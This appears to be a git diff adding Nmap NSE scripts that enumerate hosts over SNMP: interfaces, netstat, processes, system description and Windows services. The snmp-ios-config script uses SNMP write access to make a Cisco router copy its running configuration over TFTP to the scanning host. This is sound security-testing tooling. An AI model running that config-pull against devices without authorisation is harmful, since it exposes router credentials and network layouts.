+ [263] = "g9981", -- G.998.1 bonded interface
+ [264] = "g9982", -- G.998.2 bonded interface
+ [265] = "g9983", -- G.998.3 bonded interface
+ [266] = "aluEpon", -- Ethernet Passive Optical Networks (E-PON)
+ [267] = "aluEponOnu", -- EPON Optical Network Unit
+ [268] = "aluEponPhysicalUni", -- EPON physical User to Network interface
+ [269] = "aluEponLogicalLink", -- The emulation of a point-to-point link over the EPON layer
+ [270] = "aluGponOnu", -- GPON Optical Network Unit
+ [271] = "aluGponPhysicalUni", -- GPON physical User to Network interface
+ [272] = "vmwareNicTeam", -- VMware NIC Team
+ [277] = "docsOfdmDownstream", -- CATV Downstream OFDM interface
+ [278] = "docsOfdmaUpstream", -- CATV Upstream OFDMA interface
+ [279] = "gfast", -- G.fast port
+ [280] = "sdci", -- SDCI (IO-Link)
+ [281] = "xboxWireless", -- Xbox wireless
+ [282] = "fastdsl", -- FastDSL
+ [283] = "docsCableScte55d1FwdOob", -- Cable SCTE 55-1 OOB Forward Channel
+ [284] = "docsCableScte55d1RetOob", -- Cable SCTE 55-1 OOB Return Channel
+ [285] = "docsCableScte55d2DsOob", -- Cable SCTE 55-2 OOB Downstream Channel
+ [286] = "docsCableScte55d2UsOob", -- Cable SCTE 55-2 OOB Upstream Channel
+ [287] = "docsCableNdf", -- Cable Narrowband Digital Forward
+ [288] = "docsCableNdr", -- Cable Narrowband Digital Return
+ [289] = "ptm", -- Packet Transfer Mode
+ [290] = "ghn" -- G.hn port
+}
+
+--- Gets a value for the specified oid
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @param oid string containing the object id for which the value should be extracted
+-- @return value of relevant type or nil if oid was not found
+function get_value_from_table( tbl, oid )
+
+ for _, v in ipairs( tbl ) do
+ if v.oid == oid then
+ return v.value
+ end
+ end
+
+ return nil
+end
+
+--- Gets the network interface type from a list of IANA approved types
+--
+-- @param iana integer interface type returned from snmp result
+-- @return string description of interface type, or "Unknown" if type not found
+function get_iana_type( iana )
+ return iana_types[iana] or "Unknown"
+end
+
+--- Calculates the speed of the interface based on the snmp value
+--
+-- @param speed value from IF-MIB::ifSpeed
+-- @return string description of speed
+function get_if_speed( speed )
+ local result
+
+ -- GigE or 10GigE speeds
+ if speed >= 1000000000 then
+ result = string.format( "%.f Gbps", speed / 1000000000)
+ -- Common for 10 or 100 Mbit ethernet
+ elseif speed >= 1000000 then
+ result = string.format( "%.f Mbps", speed / 1000000)
+ -- Anything slower report in Kbps
+ else
+ result = string.format( "%.f Kbps", speed / 1000)
+ end
+
+ return result
+end
+
+--- Calculates the amount of traffic passed through an interface based on the snmp value
+--
+-- @param amount value from IF-MIB::ifInOctets or IF-MIB::ifOutOctets
+-- @return string description of traffic amount
+function get_traffic( amount )
+ local result
+
+ -- Gigabytes
+ if amount >= 1000000000 then
+ result = string.format( "%.2f Gb", amount / 1000000000)
+ -- Megabytes
+ elseif amount >= 1000000 then
+ result = string.format( "%.2f Mb", amount / 1000000)
+ -- Anything lower report in kb
+ else
+ result = string.format( "%.2f Kb", amount / 1000)
+ end
+
+ return result
+end
+
+--- Converts a 6 byte string into the familiar MAC address formatting
+--
+-- @param mac string containing the MAC address
+-- @return formatted string suitable for printing
+function get_mac_addr( mac )
+ local catch = function() return end
+ local try = nmap.new_try(catch)
+ local mac_prefixes = try(datafiles.parse_mac_prefixes())
+
+ if mac:len() ~= 6 then
+ return "Unknown"
+ else
+ local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
+ local manuf = mac_prefixes[prefix] or "Unknown"
+ return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
+ end
+end
+
+--- Processes the list of network interfaces
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @return table with network interfaces described in key / value pairs
+function process_interfaces( tbl )
+
+ -- Add the %. escape character to prevent matching the index on e.g. "1.3.6.1.2.1.2.2.1.10."
+ local if_index = "1.3.6.1.2.1.2.2.1.1%."
+ local if_descr = "1.3.6.1.2.1.2.2.1.2."
+ local if_type = "1.3.6.1.2.1.2.2.1.3."
+ local if_speed = "1.3.6.1.2.1.2.2.1.5."
+ local if_phys_addr = "1.3.6.1.2.1.2.2.1.6."
+ local if_status = "1.3.6.1.2.1.2.2.1.8."
+ local if_in_octets = "1.3.6.1.2.1.2.2.1.10."
+ local if_out_octets = "1.3.6.1.2.1.2.2.1.16."
+ local new_tbl = {}
+
+ -- Some operating systems (such as MS Windows) don't list interfaces with consecutive indexes
+ -- Therefore we keep an index list so we can iterate over the indexes later on
+ new_tbl.index_list = {}
+
+ for _, v in ipairs( tbl ) do
+
+ if ( v.oid:match("^" .. if_index) ) then
+ local item = {}
+ item.index = get_value_from_table( tbl, v.oid )
+
+ local objid = v.oid:gsub( "^" .. if_index, if_descr)
+ local value = get_value_from_table( tbl, objid )
+
+ if value and value:len() > 0 then
+ item.descr = value
+ end
+
+ objid = v.oid:gsub( "^" .. if_index, if_type )
+ value = get_value_from_table( tbl, objid )
+
+ if value then
+ item.type = get_iana_type(value)
+ end
+
+ objid = v.oid:gsub( "^" .. if_index, if_speed )
+ value = get_value_from_table( tbl, objid )
+
+ if value then
+ item.speed = get_if_speed( value )
+ end
+
+ objid = v.oid:gsub( "^" .. if_index, if_phys_addr )
+ value = get_value_from_table( tbl, objid )
+
+ if value and value:len() > 0 then
+ item.phys_addr = get_mac_addr( value )
+ end
+
+ objid = v.oid:gsub( "^" .. if_index, if_status )
+ value = get_value_from_table( tbl, objid )
+
+ if value == 1 then
+ item.status = "up"
+ elseif value == 2 then
+ item.status = "down"
+ end
+
+ objid = v.oid:gsub( "^" .. if_index, if_in_octets )
+ value = get_value_from_table( tbl, objid )
+
+ if value then
+ item.received = get_traffic( value )
+ end
+
+ objid = v.oid:gsub( "^" .. if_index, if_out_octets )
+ value = get_value_from_table( tbl, objid )
+
+ if value then
+ item.sent = get_traffic( value )
+ end
+
+ new_tbl[item.index] = item
+ -- Add this interface index to our returned list
+ table.insert( new_tbl.index_list, item.index )
+
+ end
+
+ end
+
+ return new_tbl
+
+end
+
+--- Processes the list of network interfaces and finds associated IP addresses
+--
+-- @param if_tbl table containing network interfaces
+-- @param ip_tbl table containing <code>oid</code> and <code>value</code> pairs from IP::MIB
+-- @return table with network interfaces described in key / value pairs
+function process_ips( if_tbl, ip_tbl )
+ local ip_index = "1.3.6.1.2.1.4.20.1.2."
+ local ip_addr = "1.3.6.1.2.1.4.20.1.1."
+ local ip_netmask = "1.3.6.1.2.1.4.20.1.3."
+ local index
+ local item
+
+ for _, v in ipairs( ip_tbl ) do
+ if ( v.oid:match("^" .. ip_index) ) then
+ index = get_value_from_table( ip_tbl, v.oid )
+ if not index then goto NEXT_PROCESS_IPS end
+ item = if_tbl[index]
+ if not item then
+ stdnse.debug1("Unknown interface index %s", index)
+ goto NEXT_PROCESS_IPS
+ end
+
+ local objid = v.oid:gsub( "^" .. ip_index, ip_addr )
+ local value = get_value_from_table( ip_tbl, objid )
+
+ if value then
+ item.ip_addr = value
+ end
+
+ objid = v.oid:gsub( "^" .. ip_index, ip_netmask )
+ value = get_value_from_table( ip_tbl, objid )
+
+ if value then
+ item.netmask = value
+ end
+ ::NEXT_PROCESS_IPS::
+ end
+ end
+
+ return if_tbl
+end
+
+--- Creates a table of IP addresses from the table of network interfaces
+--
+-- @param tbl table containing network interfaces
+-- @return table containing only IP addresses
+function list_addrs( tbl )
+ local new_tbl = {}
+
+ for _, index in ipairs( tbl.index_list ) do
+ local interface = tbl[index]
+ if interface.ip_addr then
+ table.insert( new_tbl, interface.ip_addr )
+ end
+ end
+
+ return new_tbl
+end
+
+--- Process the table of network interfaces for reporting
+--
+-- @param tbl table containing network interfaces
+-- @return table suitable for <code>stdnse.format_output</code>
+function build_results( tbl )
+ local new_tbl = {}
+ local verbose = nmap.verbosity()
+
+ -- For each interface index previously discovered, format the relevant information for output
+ for _, index in ipairs( tbl.index_list ) do
+ local interface = tbl[index]
+ local item = {}
+ local status = interface.status
+ local if_type = interface.type
+
+ if interface.descr then
+ item.name = interface.descr
+ else
+ item.name = string.format("Interface %d", index)
+ end
+
+ if interface.ip_addr and interface.netmask then
+ table.insert( item, ("IP address: %s Netmask: %s"):format( interface.ip_addr, interface.netmask ) )
+ end
+
+ if interface.phys_addr then
+ table.insert( item, ("MAC address: %s"):format( interface.phys_addr ) )
+ end
+
+ if interface.type and interface.speed then
+ table.insert( item, ("Type: %s Speed: %s"):format( interface.type, interface.speed ) )
+ end
+
+ if ( verbose > 0 ) and interface.status then
+ table.insert( item, ("Status: %s"):format( interface.status ) )
+ end
+
+ if interface.sent and interface.received then
+ table.insert( item, ("Traffic stats: %s sent, %s received"):format( interface.sent, interface.received ) )
+ end
+
+ if ( verbose > 0 ) or status == "up" then
+ table.insert( new_tbl, item )
+ end
+ end
+
+ return new_tbl
+end
+
+action = function(host, port)
+
+ -- IF-MIB - used to look up network interfaces
+ local if_oid = "1.3.6.1.2.1.2.2.1"
+ -- IP-MIB - used to determine IP address information
+ local ip_oid = "1.3.6.1.2.1.4.20"
+ local interfaces = {}
+ local ips = {}
+ local status
+ local srvhost, srvport
+
+ if SCRIPT_TYPE == "prerule" then
+ srvhost = stdnse.get_script_args({"snmp-interfaces.host", "host"})
+ if not srvhost then
+ -- Shouldn't happen; checked in prerule.
+ return
+ end
+
+ srvport = stdnse.get_script_args({"snmp-interfaces.port", "port"})
+ if srvport then
+ srvport = { number=tonumber(srvport), protocol="udp" }
+ else
+ srvport = { number=tonumber(srvport), protocol="udp" }
+ end
+ else
+ srvhost = host.ip
+ srvport = port.number
+ end
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ -- retrieve network interface information from IF-MIB
+ status, interfaces = snmpHelper:walk(if_oid)
+
+ if (not(status)) or ( interfaces == nil ) or ( #interfaces == 0 ) then
+ return
+ end
+
+ stdnse.debug1("SNMP walk of IF-MIB returned %d lines", #interfaces)
+
+ -- build a table of network interfaces from the IF-MIB table
+ interfaces = process_interfaces( interfaces )
+
+ -- retrieve IP address information from IP-MIB
+ status, ips = snmpHelper:walk( ip_oid )
+
+ -- associate that IP address information with the correct interface
+ if (not(status)) or ( ips ~= nil ) and ( #ips ~= 0 ) then
+ interfaces = process_ips( interfaces, ips )
+ end
+
+ local output = stdnse.format_output( true, build_results(interfaces) )
+
+ if SCRIPT_TYPE == "prerule" and target.ALLOW_NEW_TARGETS then
+ local sum = 0
+
+ ips = list_addrs(interfaces)
+
+ -- Could add all of the addresses at once, but count
+ -- successful additions instead for script output
+ for _, i in ipairs(ips) do
+ local st, err = target.add(i)
+ if st then
+ sum = sum + 1
+ else
+ stdnse.debug1("Couldn't add target " .. i .. ": " .. err)
+ end
+ end
+
+ if sum ~= 0 then
+ output = output .. "\nSuccessfully added " .. tostring(sum) .. " new targets"
+ end
+ elseif SCRIPT_TYPE == "portrule" then
+ nmap.set_port_state(host, port, "open")
+ end
+
+ return output
+end
+
diff --git a/scripts/snmp-ios-config.nse b/scripts/snmp-ios-config.nse
new file mode 100644
index 0000000..1965243
--- /dev/null
+++ b/scripts/snmp-ios-config.nse
@@ -0,0 +1,178 @@
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+local tftp = require "tftp"
+
+description = [[
+Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:<community> <target>
+--
+-- @output
+-- | snmp-ios-config:
+-- | !
+-- | version 12.3
+-- | service timestamps debug datetime msec
+-- | service timestamps log datetime msec
+-- | no service password-encryption
+-- | !
+-- | hostname Router
+-- | !
+-- | boot-start-marker
+-- | boot-end-marker
+-- <snip>
+--
+-- @args snmp-ios-config.tftproot If set, specifies to what directory the downloaded config should be saved
+
+--
+-- Version 0.2
+-- Created 01/03/2011 - v0.1 - created by Vikas Singhal
+-- Revised 02/22/2011 - v0.2 - cleaned up and added support for built-in tftp, Patrik Karlsson <patrik@cqure.net>
+
+author = {"Vikas Singhal", "Patrik Karlsson"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive"}
+
+dependencies = {"snmp-brute"}
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+local function fail (err) return stdnse.format_output(false, err) end
+---
+-- Sends SNMP packets to host and reads responses
+action = function(host, port)
+
+ local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
+
+ if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
+ return fail("tftproot needs to end with slash")
+ end
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ local status, tftpserver, _, _, _ = snmpHelper.socket:get_info()
+ if( not(status) ) then
+ return fail("Failed to determine local ip")
+ end
+
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
+
+ local request = snmpHelper:set({reqiId=28428},".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
+
+ -- Fail silently if the first request doesn't get a proper response
+ if ( not(request) ) then return end
+
+ -- since we got something back, the port is definitely open
+ nmap.set_port_state(host, port, "open")
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
+
+ local tbl = {}
+ tbl._snmp = '40'
+ for octet in tftpserver:gmatch("%d+") do
+ table.insert(tbl, octet)
+ end
+
+ request = snmpHelper:set({reqId=28428}, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
+ -- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
+
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
+ -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
+ -- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
+
+ -- wait for sometime and print the status of filetransfer
+ tftp.start()
+ local status, infile = tftp.waitFile(host.ip .. "-config", 10)
+
+ -- build a SNMP v1 packet
+ -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
+
+ local response
+ status, response = snmpHelper:get({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")
+
+ if (not status) or (response == "TIMEOUT") then
+ return fail("Failed to receive cisco configuration file")
+ end
+
+ local result = response and response[1] and response[1][1]
+ if not result then
+ return
+ end
+
+ if result == 3 then
+ result = ( infile and infile:getContent() )
+
+ if ( tftproot ) then
+ local fname = tftproot .. stringaux.filename_escape(host.ip .. "-config")
+ local file, err = io.open(fname, "w")
+ if ( file ) then
+ file:write(result)
+ file:close()
+ else
+ return fail(file)
+ end
+ result = ("\n Configuration saved to (%s)"):format(fname)
+ end
+ else
+ result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
+ end
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
+
+
+ return result
+end
+
diff --git a/scripts/snmp-netstat.nse b/scripts/snmp-netstat.nse
new file mode 100644
index 0000000..97f503a
--- /dev/null
+++ b/scripts/snmp-netstat.nse
@@ -0,0 +1,138 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Attempts to query SNMP for a netstat like output. The script can be used to
+identify and automatically add new targets to the scan by supplying the
+newtargets script argument.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script=snmp-netstat <target>
+-- @output
+-- | snmp-netstat:
+-- | TCP 0.0.0.0:21 0.0.0.0:2256
+-- | TCP 0.0.0.0:80 0.0.0.0:8218
+-- | TCP 0.0.0.0:135 0.0.0.0:53285
+-- | TCP 0.0.0.0:389 0.0.0.0:38990
+-- | TCP 0.0.0.0:445 0.0.0.0:49158
+-- | TCP 127.0.0.1:389 127.0.0.1:1045
+-- | TCP 127.0.0.1:389 127.0.0.1:1048
+-- | UDP 192.168.56.3:137 *:*
+-- | UDP 192.168.56.3:138 *:*
+-- | UDP 192.168.56.3:389 *:*
+-- |_ UDP 192.168.56.3:464 *:*
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"snmp-brute"}
+
+-- Version 0.3
+-- Created 01/19/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 04/11/2010 - v0.2 - moved snmp_walk to snmp library <patrik@cqure.net>
+-- Revised 07/26/2012 - v0.3 - added newtargets support
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+--- Processes the table and creates the script output
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @param base_oid string containing the value of the base_oid of the walk
+-- @return table
+local function process_answer( tbl, base_oid )
+ local result = {}
+ for _, v in ipairs( tbl ) do
+ local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
+ local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
+ local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
+ local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
+ local left = (lport and (lip .. ":" .. lport) or lip)
+ local right= (fport and (fip .. ":" .. fport) or fip)
+ if ( right or left ) then
+ table.insert(result, { left = left, right = right })
+ end
+ end
+ return result
+end
+
+local function format_output(tbl, prefix)
+ local result = {}
+ for _, v in ipairs(tbl) do
+ local value = string.format("%-20s %s", v.left, v.right )
+ table.insert( result, string.format( "%-4s %s", prefix, value ) )
+ end
+ return result
+end
+
+local function table_merge( t1, t2 )
+ for _, v in ipairs(t2) do
+ table.insert(t1, v)
+ end
+ return t1
+end
+
+local function add_targets(tbl)
+ if ( not(target.ALLOW_NEW_TARGETS) ) then
+ return
+ end
+
+ -- get a list of local IPs
+ local local_ips = {}
+ for _, v in ipairs(tbl) do
+ local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
+ local_ips[ip] = true
+ end
+
+ -- identify remote IPs
+ local remote_ips = {}
+ for _, v in ipairs(tbl) do
+ local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
+ if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
+ target.add(ip)
+ end
+ end
+end
+
+action = function(host, port)
+
+ local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
+ local udp_oid = "1.3.6.1.2.1.7.5.1.1"
+ local netstat = {}
+ local status, tcp, udp
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ status, tcp = snmpHelper:walk( tcp_oid )
+ if ( not(status) ) then return end
+
+ status, udp = snmpHelper:walk( udp_oid )
+ if ( not(status) ) then return end
+
+ if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
+ return
+ end
+
+ tcp = process_answer(tcp, tcp_oid)
+ add_targets(tcp)
+ tcp = format_output(tcp, "TCP")
+
+ udp = process_answer(udp, udp_oid)
+ add_targets(udp)
+ udp = format_output(udp, "UDP")
+
+ netstat = table_merge( tcp, udp )
+
+ nmap.set_port_state(host, port, "open")
+
+ return stdnse.format_output( true, netstat )
+end
+
diff --git a/scripts/snmp-processes.nse b/scripts/snmp-processes.nse
new file mode 100644
index 0000000..f42363e
--- /dev/null
+++ b/scripts/snmp-processes.nse
@@ -0,0 +1,162 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+
+description = [[
+Attempts to enumerate running processes through SNMP.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script=snmp-processes <target>
+-- @output
+-- | snmp-processes:
+-- | 1:
+-- | Name: System Idle Process
+-- | 4:
+-- | Name: System
+-- | 256:
+-- | Name: smss.exe
+-- | Path: \SystemRoot\System32\
+-- | 308:
+-- | Name: csrss.exe
+-- | Path: C:\WINDOWS\system32\
+-- | Params: ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserS
+-- | 332:
+-- | Name: winlogon.exe
+-- | 380:
+-- | Name: services.exe
+-- | Path: C:\WINDOWS\system32\
+-- | 392:
+-- | Name: lsass.exe
+-- |_ Path: C:\WINDOWS\system32\
+--
+-- @xmloutput
+-- <table key="1">
+-- <elem key="Name">System Idle Process</elem>
+-- </table>
+-- <table key="4">
+-- <elem key="Name">System</elem>
+-- </table>
+-- <table key="256">
+-- <elem key="Name">smss.exe</elem>
+-- <elem key="Path">\SystemRoot\System32\</elem>
+-- </table>
+-- <table key="308">
+-- <elem key="Name">csrss.exe</elem>
+-- <elem key="Path">C:\WINDOWS\system32\</elem>
+-- <elem key="Params">ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserS</elem>
+-- </table>
+-- <table key="332">
+-- <elem key="Name">winlogon.exe</elem>
+-- </table>
+-- <table key="380">
+-- <elem key="Name">services.exe</elem>
+-- <elem key="Path">C:\WINDOWS\system32\</elem>
+-- </table>
+-- <table key="392">
+-- <elem key="Name">lsass.exe</elem>
+-- <elem key="Path">C:\WINDOWS\system32\</elem>
+-- </table>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"snmp-brute"}
+
+-- Version 0.4
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/19/2010 - v0.2 - fixed loop that would occur if a mib did not exist
+-- Revised 01/19/2010 - v0.3 - removed debugging output and renamed file
+-- Revised 04/11/2010 - v0.4 - moved snmp_walk to snmp library <patrik@cqure.net>
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+--- Gets a value for the specified oid
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @param oid string containing the object id for which the value should be extracted
+-- @return value of relevant type or nil if oid was not found
+function get_value_from_table( tbl, oid )
+
+ for _, v in ipairs( tbl ) do
+ if v.oid == oid then
+ return v.value
+ end
+ end
+
+ return nil
+end
+
+--- Processes the table and creates the script output
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @return table suitable for <code>stdnse.format_output</code>
+function process_answer( tbl )
+
+ local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
+ local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
+ local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
+ local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
+ local new_tbl = stdnse.output_table()
+
+ for _, v in ipairs( tbl ) do
+
+ if ( v.oid:match("^" .. swrun_pid) ) then
+ local item = stdnse.output_table()
+ local objid = v.oid:gsub( "^" .. swrun_pid, swrun_name)
+ local value = get_value_from_table( tbl, objid )
+
+ if value then
+ item["Name"] = value
+ end
+
+ objid = v.oid:gsub( "^" .. swrun_pid, swrun_path)
+ value = get_value_from_table( tbl, objid )
+
+ if value and value:len() > 0 then
+ item["Path"] = value
+ end
+
+ objid = v.oid:gsub( "^" .. swrun_pid, swrun_params)
+ value = get_value_from_table( tbl, objid )
+
+ if value and value:len() > 0 then
+ item["Params"] = value
+ end
+
+ -- key (PID) must be a string for output to work.
+ new_tbl[tostring(v.value)] = item
+ end
+
+ end
+
+ return new_tbl
+
+end
+
+
+action = function(host, port)
+
+ local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
+ local shares = {}
+ local status
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ status, shares = snmpHelper:walk( snmpoid )
+
+ if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
+ return
+ end
+
+ shares = process_answer( shares )
+
+ nmap.set_port_state(host, port, "open")
+
+ return shares
+end
+
diff --git a/scripts/snmp-sysdescr.nse b/scripts/snmp-sysdescr.nse
new file mode 100644
index 0000000..128c8e7
--- /dev/null
+++ b/scripts/snmp-sysdescr.nse
@@ -0,0 +1,69 @@
+local datetime = require "datetime"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local string = require "string"
+
+description = [[
+Attempts to extract system information from an SNMP service.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script snmp-sysdescr <target>
+--
+-- @output
+-- | snmp-sysdescr: HP ETHERNET MULTI-ENVIRONMENT,ROM A.25.80,JETDIRECT,JD117,EEPROM V.28.22,CIDATE 08/09/2006
+-- |_ System uptime: 28 days, 17:18:59 (248153900 timeticks)
+
+author = "Thomas Buchanan"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+dependencies = {"snmp-brute"}
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+---
+-- Sends SNMP packets to host and reads responses
+action = function(host, port)
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ -- build a SNMP v1 packet
+ -- copied from packet capture of snmpget exchange
+ -- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0)
+ local status, response = snmpHelper:get({reqId=28428}, "1.3.6.1.2.1.1.1.0")
+
+ if not status then
+ return
+ end
+
+ -- since we got something back, the port is definitely open
+ nmap.set_port_state(host, port, "open")
+
+ local result = response and response[1] and response[1][1]
+
+ -- build a SNMP v1 packet
+ -- copied from packet capture of snmpget exchange
+ -- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0)
+ status, response = snmpHelper:get({reqId=28428}, "1.3.6.1.2.1.1.3.0")
+
+ if not status then
+ return result
+ end
+
+ local uptime = response and response[1] and response[1][1]
+ if not uptime then
+ return
+ end
+
+ result = result .. "\n" .. string.format(" System uptime: %s (%s timeticks)", datetime.format_time(uptime, 100), tostring(uptime))
+
+ return result
+end
+
diff --git a/scripts/snmp-win32-services.nse b/scripts/snmp-win32-services.nse
new file mode 100644
index 0000000..52cbdb7
--- /dev/null
+++ b/scripts/snmp-win32-services.nse
@@ -0,0 +1,95 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local table = require "table"
+
+description = [[
+Attempts to enumerate Windows services through SNMP.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script=snmp-win32-services <target>
+-- @output
+-- | snmp-win32-services:
+-- | Apache Tomcat
+-- | Application Experience Lookup Service
+-- | Application Layer Gateway Service
+-- | Automatic Updates
+-- | COM+ Event System
+-- | COM+ System Application
+-- | Computer Browser
+-- | Cryptographic Services
+-- | DB2 - DB2COPY1 - DB2
+-- | DB2 Management Service (DB2COPY1)
+-- | DB2 Remote Command Server (DB2COPY1)
+-- | DB2DAS - DB2DAS00
+-- |_ DCOM Server Process Launcher
+-- @xmloutput
+-- <elem>Apache Tomcat</elem>
+-- <elem>Application Experience Lookup Service</elem>
+-- <elem>Application Layer Gateway Service</elem>
+-- <elem>Automatic Updates</elem>
+-- <elem>COM+ Event System</elem>
+-- <elem>COM+ System Application</elem>
+-- <elem>Computer Browser</elem>
